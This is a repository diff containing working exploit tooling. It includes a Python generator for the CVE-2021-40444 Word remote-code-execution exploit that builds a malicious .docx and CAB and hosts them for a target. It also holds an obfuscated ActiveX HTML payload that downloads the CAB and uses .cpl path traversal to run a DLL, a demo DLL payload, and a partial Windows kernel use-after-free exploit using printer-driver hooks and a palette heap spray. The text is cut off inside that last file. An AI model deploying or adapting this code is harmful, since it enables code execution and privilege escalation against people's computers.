<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:fonts xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16cid="http://schemas.microsoft.com/office/word/2016/wordml/cid" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" mc:Ignorable="w14 w15 w16se w16cid"><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002EFF" w:usb1="C000247B" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Trebuchet MS"><w:panose1 w:val="020B0603020202020204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="00000687" w:usb1="00000000" w:usb2="00000000" w:usb3="00000000" w:csb0="0000009F" w:csb1="00000000"/></w:font><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002EFF" w:usb1="C000785B" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="OpenSymbol"><w:altName w:val="Cambria"/><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Liberation Sans"><w:altName w:val="Arial"/><w:charset w:val="01"/><w:family w:val="roman"/><w:pitch w:val="variable"/></w:font><w:font w:name="Droid Sans Fallback"><w:panose1 w:val="00000000000000000000"/><w:charset w:val="00"/><w:family w:val="roman"/><w:notTrueType/><w:pitch w:val="default"/></w:font><w:font w:name="Droid Sans Devanagari"><w:altName w:val="Segoe UI"/><w:panose1 w:val="00000000000000000000"/><w:charset w:val="00"/><w:family w:val="roman"/><w:notTrueType/><w:pitch w:val="default"/></w:font><w:font w:name="Cambria"><w:panose1 w:val="02040503050406030204"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E00006FF" w:usb1="420024FF" w:usb2="02000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font></w:fonts>

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:settings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16cid="http://schemas.microsoft.com/office/word/2016/wordml/cid" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" mc:Ignorable="w14 w15 w16se w16cid"><w:zoom w:percent="100"/><w:proofState w:spelling="clean" w:grammar="clean"/><w:defaultTabStop w:val="720"/><w:autoHyphenation/><w:characterSpacingControl w:val="doNotCompress"/><w:compat><w:compatSetting w:name="compatibilityMode" w:uri="http://schemas.microsoft.com/office/word" w:val="14"/><w:compatSetting w:name="overrideTableStyleFontSizeAndJustification" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="enableOpenTypeFeatures" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="doNotFlipMirrorIndents" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="useWord2013TrackBottomHyphenation" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/></w:compat><w:rsids><w:rsidRoot w:val="00642844"/><w:rsid w:val="00642844"/><w:rsid w:val="007E0FA4"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="0"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:themeFontLang w:val="en-US" w:eastAsia="" w:bidi=""/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:shapeDefaults><o:shapedefaults v:ext="edit" spidmax="1026"/><o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout></w:shapeDefaults><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/><w14:docId w14:val="74811FD2"/><w15:docId w15:val="{9951342C-DC33-4E0E-84C6-943EC8FBAAD2}"/></w:settings>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,2 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16cid="http://schemas.microsoft.com/office/word/2016/wordml/cid" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" mc:Ignorable="w14 w15 w16se w16cid"/>

View File

@ -0,0 +1,163 @@
#!/usr/bin/env python3
# Microsoft Office Remote Code Execution Exploit via Logical Bug
# Result is ability for attackers to execute arbitrary custom DLL's
# downloaded and executed on target system
import sys
import os
import subprocess
HOST_DIR = 'srv/'
m_off = 0x2d
def usage():
print('[%] Usage: ' + str(sys.argv[0]) + ' <generate/host> <options>')
print('[i] Example: ' + str(sys.argv[0]) + ' generate test/calc.dll http://192.168.1.41')
print('[i] Example: sudo ' + str(sys.argv[0]) + ' host 80')
exit()
def check_usage():
ret = 0
if(len(sys.argv) < 2):
usage()
if(sys.argv[1] == 'generate'):
if(len(sys.argv) != 4):
usage()
ret = 1
elif(sys.argv[1] == 'host'):
if(len(sys.argv) != 3):
usage()
ret = 2
else:
usage()
return ret
def patch_cab(path):
f_r = open(path, 'rb')
cab_content = f_r.read()
f_r.close()
out_cab = cab_content[:m_off]
out_cab += b'\x00\x5c\x41\x00'
out_cab += cab_content[m_off+4:]
out_cab = out_cab.replace(b'..\\msword.inf', b'../msword.inf')
f_w = open(path, 'wb')
f_w.write(out_cab)
f_w.close()
return
def execute_cmd(cmd):
r = subprocess.getoutput(cmd)
return r
def generate_payload():
payload_path = sys.argv[2]
srv_url = sys.argv[3]
print('\n[ == Options == ]')
print('\t[ DLL Payload: ' + str(payload_path))
print('\t[ HTML Exploit URL: ' + str(srv_url))
print('')
try:
payload_content = open(payload_path,'rb').read()
filep = open('data/word.dll','wb')
filep.write(payload_content)
filep.close()
except:
print('[-] DLL Payload specified not found!')
exit()
execute_cmd('cp -r data/word_dat/ data/tmp_doc/')
print('[*] Writing HTML Server URL...')
rels_pr = open('data/tmp_doc/word/_rels/document.xml.rels', 'r')
xml_content = rels_pr.read()
rels_pr.close()
xml_content = xml_content.replace('<EXPLOIT_HOST_HERE>', srv_url + '/word.html')
rels_pw = open('data/tmp_doc/word/_rels/document.xml.rels', 'w')
rels_pw.write(xml_content)
rels_pw.close()
print('[*] Generating malicious docx file...')
os.chdir('data/tmp_doc/')
os.system('zip -r document.docx *')
execute_cmd('cp document.docx ../../out/document.docx')
os.chdir('../')
execute_cmd('rm -R tmp_doc/')
os.chdir('../')
print('[*] Generating malicious CAB file...')
os.chdir('data/')
execute_cmd('mkdir cab/')
execute_cmd('cp word.dll msword.inf')
os.chdir('cab/')
execute_cmd('lcab \'../msword.inf\' out.cab')
patch_cab('out.cab')
execute_cmd('cp out.cab ../../srv/word.cab')
os.chdir('../')
execute_cmd('rm word.dll')
execute_cmd('rm msword.inf')
execute_cmd('rm -R cab/')
os.chdir('../')
print('[*] Updating information on HTML exploit...')
os.chdir('srv/')
execute_cmd('cp backup.html word.html')
p_exp = open('word.html', 'r')
exploit_content = p_exp.read()
p_exp.close()
exploit_content = exploit_content.replace('<HOST_CHANGE_HERE>', srv_url + '/word.cab')
p_exp = open('word.html', 'w')
p_exp.write(exploit_content)
p_exp.close()
os.chdir('../')
print('[+] Malicious Word Document payload generated at: out/document.docx')
print('[+] Malicious CAB file generated at: srv/word.cab')
print('[i] You can execute now the server and then send document.docx to target')
return
def start_server():
os.chdir(HOST_DIR)
try:
port = int(sys.argv[2])
except:
print('[-] Invalid port specified!')
exit()
os.system('python3 -m http.server ' + str(port))
return
if __name__ == '__main__':
print('[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]')
r = check_usage()
if(r == 1):
print('[*] Option is generate a malicious payload...')
generate_payload()
elif(r == 2):
print('[*] Option is host HTML Exploit...')
start_server()
else:
print('[-] Unknown error')
exit()

View File

File diff suppressed because one or more lines are too long

Binary file not shown.

View File

@ -0,0 +1,70 @@
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Expires" content="-1">
<meta http-equiv="X-UA-Compatible" content="IE=11">
</head>
<body>
<script>
function garbage() {
return 'garbage';
}
(function exploit() {
var iframe = window["Document"]['prototype']['createElement']['call'](window["document"], 'iframe');
try {
window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['body'], iframe);
} catch (_0x1ab454) {
window["HTMLElement"]["prototype"]["appendChild"]['call'](window["document"]['documentElement'], iframe);
}
var htmlfile = iframe['contentWindow']['ActiveXObject']
, htmlfile2 = new htmlfile('htmlfile');
iframe['contentDocument']['open']()['close']();
try {
window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['body'], iframe);
} catch (_0x3b004e) {
window["HTMLElement"]["prototype"]["removeChild"]['call'](window["document"]['documentElement'], iframe);
}
htmlfile2['open']()['close']();
var htmlfile3 = new htmlfile2[('Script')]['ActiveXObject']('htmlfile');
htmlfile3['open']()['close']();
var htmlfile4 = new htmlfile3[('Script')]['ActiveXObject']('htmlfile');
htmlfile4['open']()['close']();
var htmlfile5 = new htmlfile4[('Script')]['ActiveXObject']('htmlfile');
htmlfile5['open']()['close']();
var ActiveXObjectVAR = new ActiveXObject('htmlfile')
, ActiveXObjectVAR2 = new ActiveXObject('htmlfile')
, ActiveXObjectVAR3 = new ActiveXObject('htmlfile')
, ActiveXObjectVAR4 = new ActiveXObject('htmlfile')
, ActiveXObjectVAR5 = new ActiveXObject('htmlfile')
, ActiveXObjectVAR6 = new ActiveXObject('htmlfile')
, XMLHttpR = new window['XMLHttpRequest']()
, XMLHttpRopen = window['XMLHttpRequest']['prototype']['open']
, XMLHttpRsend = window['XMLHttpRequest']['prototype']['send'];
XMLHttpRopen['call'](XMLHttpR, 'GET', 'http://127.0.0.1/test.cab', ![]),
XMLHttpRsend['call'](XMLHttpR),
htmlfile5['Script']['document']['write']('body>');
var htmlScript = window["Document"]['prototype']['createElement']['call'](htmlfile5['Script']['document'], 'object');
htmlScript['setAttribute']('codebase', 'http://127.0.0.1/test.cab#version=5,0,0,0');
htmlScript['setAttribute']('CLSID:edbc374c-5730-432a-b5b8-de94f0b57217'),
window["HTMLElement"]["prototype"]["appendChild"]['call'](htmlfile5['Script']['document']['body'], htmlScript),
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:123',
ActiveXObjectVAR['Script']['location'] = '.cpl:../../../AppData/Local/Temp/Low/championship.inf',
ActiveXObjectVAR2['Script']['location'] = '.cpl:../../../AppData/Local/Temp/championship.inf',
ActiveXObjectVAR3['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/Low/championship.inf',
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../../../AppData/Local/Temp/championship.inf',
ActiveXObjectVAR5['Script']['location'] = '.cpl:../../../../../Temp/Low/championship.inf',
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../../../../Temp/championship.inf',
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../Low/championship.inf',
ActiveXObjectVAR4['Script']['location'] = '.cpl:../../championship.inf';
}());
</script>
</body>
</html>

View File

@ -0,0 +1,376 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!--
Modified from the Debian original for Ubuntu
Last updated: 2016-11-16
See: https://launchpad.net/bugs/1288690
-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Apache2 Ubuntu Default Page: It works</title>
<style type="text/css" media="screen">
* {
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
}
body, html {
padding: 3px 3px 3px 3px;
background-color: #D8DBE2;
font-family: Verdana, sans-serif;
font-size: 11pt;
text-align: center;
}
div.main_page {
position: relative;
display: table;
width: 800px;
margin-bottom: 3px;
margin-left: auto;
margin-right: auto;
padding: 0px 0px 0px 0px;
border-width: 2px;
border-color: #212738;
border-style: solid;
background-color: #FFFFFF;
text-align: center;
}
div.page_header {
height: 99px;
width: 100%;
background-color: #F5F6F7;
}
div.page_header span {
margin: 15px 0px 0px 50px;
font-size: 180%;
font-weight: bold;
}
div.page_header img {
margin: 3px 0px 0px 40px;
border: 0px 0px 0px;
}
div.table_of_contents {
clear: left;
min-width: 200px;
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.table_of_contents_item {
clear: left;
width: 100%;
margin: 4px 0px 0px 0px;
background-color: #FFFFFF;
color: #000000;
text-align: left;
}
div.table_of_contents_item a {
margin: 6px 0px 0px 6px;
}
div.content_section {
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.content_section_text {
padding: 4px 8px 4px 8px;
color: #000000;
font-size: 100%;
}
div.content_section_text pre {
margin: 8px 0px 8px 0px;
padding: 8px 8px 8px 8px;
border-width: 1px;
border-style: dotted;
border-color: #000000;
background-color: #F5F6F7;
font-style: italic;
}
div.content_section_text p {
margin-bottom: 6px;
}
div.content_section_text ul, div.content_section_text li {
padding: 4px 8px 4px 16px;
}
div.section_header {
padding: 3px 6px 3px 6px;
background-color: #8E9CB2;
color: #FFFFFF;
font-weight: bold;
font-size: 112%;
text-align: center;
}
div.section_header_red {
background-color: #CD214F;
}
div.section_header_grey {
background-color: #9F9386;
}
.floating_element {
position: relative;
float: left;
}
div.table_of_contents_item a,
div.content_section_text a {
text-decoration: none;
font-weight: bold;
}
div.table_of_contents_item a:link,
div.table_of_contents_item a:visited,
div.table_of_contents_item a:active {
color: #000000;
}
div.table_of_contents_item a:hover {
background-color: #000000;
color: #FFFFFF;
}
div.content_section_text a:link,
div.content_section_text a:visited,
div.content_section_text a:active {
background-color: #DCDFE6;
color: #000000;
}
div.content_section_text a:hover {
background-color: #000000;
color: #DCDFE6;
}
div.validator {
}
</style>
</head>
<body>
<div class="main_page">
<div class="page_header floating_element">
<img src="/icons/ubuntu-logo.png" alt="Ubuntu Logo" class="floating_element"/>
<span class="floating_element">
Apache2 Ubuntu Default Page
</span>
</div>
<!-- <div class="table_of_contents floating_element">
<div class="section_header section_header_grey">
TABLE OF CONTENTS
</div>
<div class="table_of_contents_item floating_element">
<a href="#about">About</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#changes">Changes</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#scope">Scope</a>
</div>
<div class="table_of_contents_item floating_element">
<a href="#files">Config files</a>
</div>
</div>
-->
<div class="content_section floating_element">
<div class="section_header section_header_red">
<div id="about"></div>
It works!
</div>
<div class="content_section_text">
<p>
This is the default welcome page used to test the correct
operation of the Apache2 server after installation on Ubuntu systems.
It is based on the equivalent page on Debian, from which the Ubuntu Apache
packaging is derived.
If you can read this page, it means that the Apache HTTP server installed at
this site is working properly. You should <b>replace this file</b> (located at
<tt>/var/www/html/index.html</tt>) before continuing to operate your HTTP server.
</p>
<p>
If you are a normal user of this web site and don't know what this page is
about, this probably means that the site is currently unavailable due to
maintenance.
If the problem persists, please contact the site's administrator.
</p>
</div>
<div class="section_header">
<div id="changes"></div>
Configuration Overview
</div>
<div class="content_section_text">
<p>
Ubuntu's Apache2 default configuration is different from the
upstream default configuration, and split into several files optimized for
interaction with Ubuntu tools. The configuration system is
<b>fully documented in
/usr/share/doc/apache2/README.Debian.gz</b>. Refer to this for the full
documentation. Documentation for the web server itself can be
found by accessing the <a href="/manual">manual</a> if the <tt>apache2-doc</tt>
package was installed on this server.
</p>
<p>
The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:
</p>
<pre>
/etc/apache2/
|-- apache2.conf
| `-- ports.conf
|-- mods-enabled
| |-- *.load
| `-- *.conf
|-- conf-enabled
| `-- *.conf
|-- sites-enabled
| `-- *.conf
</pre>
<ul>
<li>
<tt>apache2.conf</tt> is the main configuration
file. It puts the pieces together by including all remaining configuration
files when starting up the web server.
</li>
<li>
<tt>ports.conf</tt> is always included from the
main configuration file. It is used to determine the listening ports for
incoming connections, and this file can be customized anytime.
</li>
<li>
Configuration files in the <tt>mods-enabled/</tt>,
<tt>conf-enabled/</tt> and <tt>sites-enabled/</tt> directories contain
particular configuration snippets which manage modules, global configuration
fragments, or virtual host configurations, respectively.
</li>
<li>
They are activated by symlinking available
configuration files from their respective
*-available/ counterparts. These should be managed
by using our helpers
<tt>
a2enmod,
a2dismod,
</tt>
<tt>
a2ensite,
a2dissite,
</tt>
and
<tt>
a2enconf,
a2disconf
</tt>. See their respective man pages for detailed information.
</li>
<li>
The binary is called apache2. Due to the use of
environment variables, in the default configuration, apache2 needs to be
started/stopped with <tt>/etc/init.d/apache2</tt> or <tt>apache2ctl</tt>.
<b>Calling <tt>/usr/bin/apache2</tt> directly will not work</b> with the
default configuration.
</li>
</ul>
</div>
<div class="section_header">
<div id="docroot"></div>
Document Roots
</div>
<div class="content_section_text">
<p>
By default, Ubuntu does not allow access through the web browser to
<em>any</em> file apart of those located in <tt>/var/www</tt>,
<a href="http://httpd.apache.org/docs/2.4/mod/mod_userdir.html" rel="nofollow">public_html</a>
directories (when enabled) and <tt>/usr/share</tt> (for web
applications). If your site is using a web document root
located elsewhere (such as in <tt>/srv</tt>) you may need to whitelist your
document root directory in <tt>/etc/apache2/apache2.conf</tt>.
</p>
<p>
The default Ubuntu document root is <tt>/var/www/html</tt>. You
can make your own virtual hosts under /var/www. This is different
to previous releases which provides better security out of the box.
</p>
</div>
<div class="section_header">
<div id="bugs"></div>
Reporting Problems
</div>
<div class="content_section_text">
<p>
Please use the <tt>ubuntu-bug</tt> tool to report bugs in the
Apache2 package with Ubuntu. However, check <a
href="https://bugs.launchpad.net/ubuntu/+source/apache2"
rel="nofollow">existing bug reports</a> before reporting a new bug.
</p>
<p>
Please report bugs specific to modules (such as PHP and others)
to respective packages, not to the web server itself.
</p>
</div>
</div>
</div>
<div class="validator">
</div>
</body>
</html>

View File

@ -0,0 +1,29 @@
#include <windows.h>
void exec(void) {
system("cmd /c calc");
return;
}
BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
exec();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,650 @@
#include <Windows.h>
#include <stdio.h>
#include <winddi.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <psapi.h>
#pragma comment(lib, "ntdll.lib")
typedef bool(*DrvEnableDriver_t)(ULONG iEngineVersion, ULONG cj, DRVENABLEDATA *pded);
typedef DHPDEV(*DrvEnablePDEV_t)(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
typedef void(*VoidFunc_t)();
typedef NTSTATUS(*fnNtSetInformationThreadPtr)(HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength);
fnNtSetInformationThreadPtr NtSetInformationThread = nullptr;
#define SystemBigPoolInformation 0x42
#define ThreadNameInformation 0x26
DWORD64 Fake_RtlBitMapAddr = 0;
DWORD64 GadgetAddr = 0;
typedef struct
{
DWORD64 Address;
DWORD64 PoolSize;
char PoolTag[4];
char Padding[4];
} BIG_POOL_INFO, *PBIG_POOL_INFO;
typedef struct _DriverHook
{
ULONG index;
FARPROC func;
} DriverHook;
DHPDEV hook_DrvEnablePDEV(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver);
DriverHook driverHooks[] = {
{ INDEX_DrvEnablePDEV, (FARPROC)hook_DrvEnablePDEV },
};
namespace globals
{
LPSTR printerName;
HDC hdc;
int counter;
bool should_trigger;
bool ignore_callbacks;
VoidFunc_t origDrvFuncs[INDEX_LAST];
}
HPALETTE createPaletteofSize1(int size) {
int pal_cnt = (size - 0x90) / 4;
int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize);
DWORD64* p = (DWORD64*)((DWORD64)lPalette + 4);
memset(lPalette, 0xff, palsize);
p[0x15A-0x8-0x5] = GadgetAddr;
p[0xE4 - 0x8-0x5] = Fake_RtlBitMapAddr;
lPalette->palNumEntries = pal_cnt;
lPalette->palVersion = 0x300;
return CreatePalette(lPalette);
}
DHPDEV hook_DrvEnablePDEV(DEVMODEW *pdm, LPWSTR pwszLogAddress, ULONG cPat, HSURF *phsurfPatterns, ULONG cjCaps, ULONG *pdevcaps, ULONG cjDevInfo, DEVINFO *pdi, HDEV hdev, LPWSTR pwszDeviceName, HANDLE hDriver)
{
puts("[*] Hooked DrvEnablePDEV called");
DHPDEV res = ((DrvEnablePDEV_t)globals::origDrvFuncs[INDEX_DrvEnablePDEV])(pdm, pwszLogAddress, cPat, phsurfPatterns, cjCaps, pdevcaps, cjDevInfo, pdi, hdev, pwszDeviceName, hDriver);
// Check if we should trigger the vulnerability
if (globals::should_trigger == true)
{
// We only want to trigger the vulnerability once
globals::should_trigger = false;
// Trigger vulnerability with second ResetDC. This will destroy the original
// device context, while we're still inside of the first ResetDC. This will
// result in a UAF
puts("[*] Triggering UAF with second ResetDC");
HDC tmp_hdc = ResetDCA(globals::hdc, NULL);
puts("[*] Returned from second ResetDC");
// This is where we should reclaim the freed memory. For demonstration purposes
// we are just going to sleep for 30 seconds and hope that someone reclaims and
// corrupts the freed memory. Open a lot of windows or similar to make a lot of
// kernel allocations
for (int i = 0; i < 0x10000; i++)
{
createPaletteofSize1(0xe20);
}
//for (int i = 1; i < 31; i++)
//{
// Sleep(1000);
// printf("[*] Counting down...: %d\n", 31 - i);
//}
puts("[*] Get ready for DoS");
//Sleep(1000);
}
return res;
}
bool SetupUsermodeCallbackHook()
{
/* Find and hook a printer's usermode callbacks */
DrvEnableDriver_t DrvEnableDriver;
VoidFunc_t DrvDisableDriver;
DWORD pcbNeeded, pcbReturned;
PRINTER_INFO_4A *pPrinterEnum, *printerInfo;
HANDLE hPrinter;
DRIVER_INFO_2A *driverInfo;
HMODULE hModule;
DRVENABLEDATA drvEnableData;
DWORD lpflOldProtect, _lpflOldProtect;
bool res;
// Find available printers
EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, NULL, 0, &pcbNeeded, &pcbReturned);
if (pcbNeeded <= 0)
{
puts("[-] Failed to find any available printers");
return false;
}
pPrinterEnum = (PRINTER_INFO_4A *)malloc(pcbNeeded);
if (pPrinterEnum == NULL)
{
puts("[-] Failed to allocate buffer for pPrinterEnum");
return false;
}
res = EnumPrintersA(PRINTER_ENUM_LOCAL, NULL, 4, (LPBYTE)pPrinterEnum, pcbNeeded, &pcbNeeded, &pcbReturned);
if (res == false || pcbReturned <= 0)
{
puts("[-] Failed to enumerate printers");
return false;
}
// Loop over printers
for (DWORD i = 0; i < pcbReturned; i++)
{
printerInfo = &pPrinterEnum[0];
printf("[*] Using printer: %s\n", printerInfo->pPrinterName);
// Open printer
res = OpenPrinterA(printerInfo->pPrinterName, &hPrinter, NULL);
if (!res)
{
puts("[-] Failed to open printer");
continue;
}
printf("[+] Opened printer: %s\n", printerInfo->pPrinterName);
globals::printerName = _strdup(printerInfo->pPrinterName);
// Get the printer driver
GetPrinterDriverA(hPrinter, NULL, 2, NULL, 0, &pcbNeeded);
driverInfo = (DRIVER_INFO_2A *)malloc(pcbNeeded);
res = GetPrinterDriverA(hPrinter, NULL, 2, (LPBYTE)driverInfo, pcbNeeded, &pcbNeeded);
if (res == false)
{
printf("[-] Failed to get printer driver\n");
continue;
}
printf("[*] Driver DLL: %s\n", driverInfo->pDriverPath);
// Load the printer driver into memory
hModule = LoadLibraryExA(driverInfo->pDriverPath, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
if (hModule == NULL)
{
printf("[-] Failed to load printer driver\n");
continue;
}
// Get printer driver's DrvEnableDriver and DrvDisableDriver
DrvEnableDriver = (DrvEnableDriver_t)GetProcAddress(hModule, "DrvEnableDriver");
DrvDisableDriver = (VoidFunc_t)GetProcAddress(hModule, "DrvDisableDriver");
if (DrvEnableDriver == NULL || DrvDisableDriver == NULL)
{
printf("[-] Failed to get exported functions from driver\n");
continue;
}
// Call DrvEnableDriver to get the printer driver's usermode callback table
res = DrvEnableDriver(DDI_DRIVER_VERSION_NT4, sizeof(DRVENABLEDATA), &drvEnableData);
if (res == false)
{
printf("[-] Failed to enable driver\n");
continue;
}
puts("[+] Enabled printer driver");
// Unprotect the driver's usermode callback table, such that we can overwrite entries
res = VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), PAGE_READWRITE, &lpflOldProtect);
if (res == false)
{
puts("[-] Failed to unprotect printer driver's usermode callback table");
continue;
}
// Loop over hooks
for (int i = 0; i < sizeof(driverHooks) / sizeof(DriverHook); i++)
{
// Loop over driver's usermode callback table
for (DWORD n = 0; n < drvEnableData.c; n++)
{
ULONG iFunc = drvEnableData.pdrvfn[n].iFunc;
// Check if hook INDEX matches entry INDEX
if (driverHooks[i].index == iFunc)
{
// Saved original function pointer
globals::origDrvFuncs[iFunc] = (VoidFunc_t)drvEnableData.pdrvfn[n].pfn;
// Overwrite function pointer with hook function pointer
drvEnableData.pdrvfn[n].pfn = (PFN)driverHooks[i].func;
break;
}
}
}
// Disable driver
DrvDisableDriver();
// Restore protections for driver's usermode callback table
VirtualProtect(drvEnableData.pdrvfn, drvEnableData.c * sizeof(PFN), lpflOldProtect, &_lpflOldProtect);
return true;
}
return false;
}
typedef struct _SYSTEM_MODULE_ENTRY_INFO
{
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_ENTRY_INFO, *PSYSTEM_MODULE_ENTRY_INFO;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG NumberOfModules;
SYSTEM_MODULE_ENTRY_INFO Modules[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
#define SystemExtendedHandleInformation 64
#define SystemHandleInformation 0x10
#define SystemModuleInformation 0xb
DWORD64 GetModuleAddr(const char* modName)
{
PSYSTEM_MODULE_INFORMATION buffer = (PSYSTEM_MODULE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, 0x20, &outBuffer);
if (status == ((NTSTATUS)0xC0000004L))//STATUS_INFO_LENGTH_MISMATCH
{
free(buffer);
buffer = (PSYSTEM_MODULE_INFORMATION)malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemModuleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error\n");
return 0;
}
for (unsigned int i = 0; i < buffer->NumberOfModules; i++)
{
PVOID kernelImageBase = buffer->Modules[i].ImageBase;
PCHAR kernelImage = (PCHAR)buffer->Modules[i].FullPathName;
if (_stricmp(kernelImage, modName) == 0)
{
free(buffer);
return (DWORD64)kernelImageBase;
}
}
free(buffer);
return 0;
}
DWORD64 GetGadgetAddr(const char* name)
{
